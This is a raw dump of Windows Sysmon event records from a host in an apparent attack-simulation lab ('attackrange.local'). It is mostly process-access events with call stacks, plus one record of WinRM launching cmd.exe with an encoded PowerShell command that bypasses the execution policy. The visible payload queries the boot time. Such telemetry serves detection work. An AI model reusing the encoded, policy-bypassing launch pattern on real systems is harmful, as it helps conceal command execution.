09:08:44.518{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000588Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-289C-5F80-1703-000000007E01}47404288C:\Windows\system32\conhost.exe{A5F018FF-289C-5F80-1803-000000007E01}2740C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000587Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000586Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000585Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000584Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000583Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000582Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000581Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000580Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000579Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000578Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-2724-5F80-0500-000000007E01}640656C:\Windows\system32\csrss.exe{A5F018FF-289C-5F80-1803-000000007E01}2740C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000577Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-289C-5F80-1603-000000007E01}42924264C:\Windows\system32\WinrsHost.exe{A5F018FF-289C-5F80-1803-000000007E01}2740C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\WinrsHost.exe+2c94|C:\Windows\system32\WinrsHost.exe+2eb1|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb 154100x8000000000000000576Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.524{A5F018FF-289C-5F80-1803-000000007E01}2740C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUAC:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-289C-5F80-1F0C-120000000000}0x120c1f0HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-289C-5F80-1603-000000007E01}4292C:\Windows\System32\winrshost.exeC:\Windows\system32\WinrsHost.exe -Embedding 10341000x8000000000000000575Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000574Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000573Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000572Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272E-5F80-1400-000000007E01}13481960C:\Windows\system32\svchost.exe{A5F018FF-289C-5F80-1603-000000007E01}4292C:\Windows\system32\WinrsHost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\winrscmd.dll+8d36|C:\Windows\system32\winrscmd.dll+92d5|C:\Windows\system32\winrscmd.dll+af31|C:\Windows\system32\winrscmd.dll+23dc|c:\windows\system32\wsmsvc.dll+155ac7|c:\windows\system32\wsmsvc.dll+13f76d|c:\windows\system32\wsmsvc.dll+13f3cf|c:\windows\system32\wsmsvc.dll+13fcb2|c:\windows\system32\wsmsvc.dll+9ab10|c:\windows\system32\wsmsvc.dll+9b611|c:\windows\system32\wsmsvc.dll+4495|c:\windows\system32\wsmsvc.dll+16816c|c:\windows\system32\wsmsvc.dll+1689b8|c:\windows\system32\wsmsvc.dll+16345b|c:\windows\system32\wsmsvc.dll+163125|c:\windows\system32\wsmsvc.dll+14ce9c|c:\windows\system32\wsmsvc.dll+130049|c:\windows\system32\wsmsvc.dll+13571a|c:\windows\system32\wsmsvc.dll+12f47e|c:\windows\system32\wsmsvc.dll+125587|c:\windows\system32\wsmsvc.dll+11f562|c:\windows\system32\wsmsvc.dll+124574 10341000x8000000000000000571Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.502{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-289C-5F80-1603-000000007E01}4292C:\Windows\system32\WinrsHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000570Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.487{A5F018FF-289C-5F80-1703-000000007E01}47404288C:\Windows\system32\conhost.exe{A5F018FF-289C-5F80-1603-000000007E01}4292C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000569Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.487{A5F018FF-2724-5F80-0500-000000007E01}640760C:\Windows\system32\csrss.exe{A5F018FF-289C-5F80-1703-000000007E01}4740C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000568Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.487{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000567Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.487{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000566Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.487{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000565Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.487{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000564Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.487{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000563Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 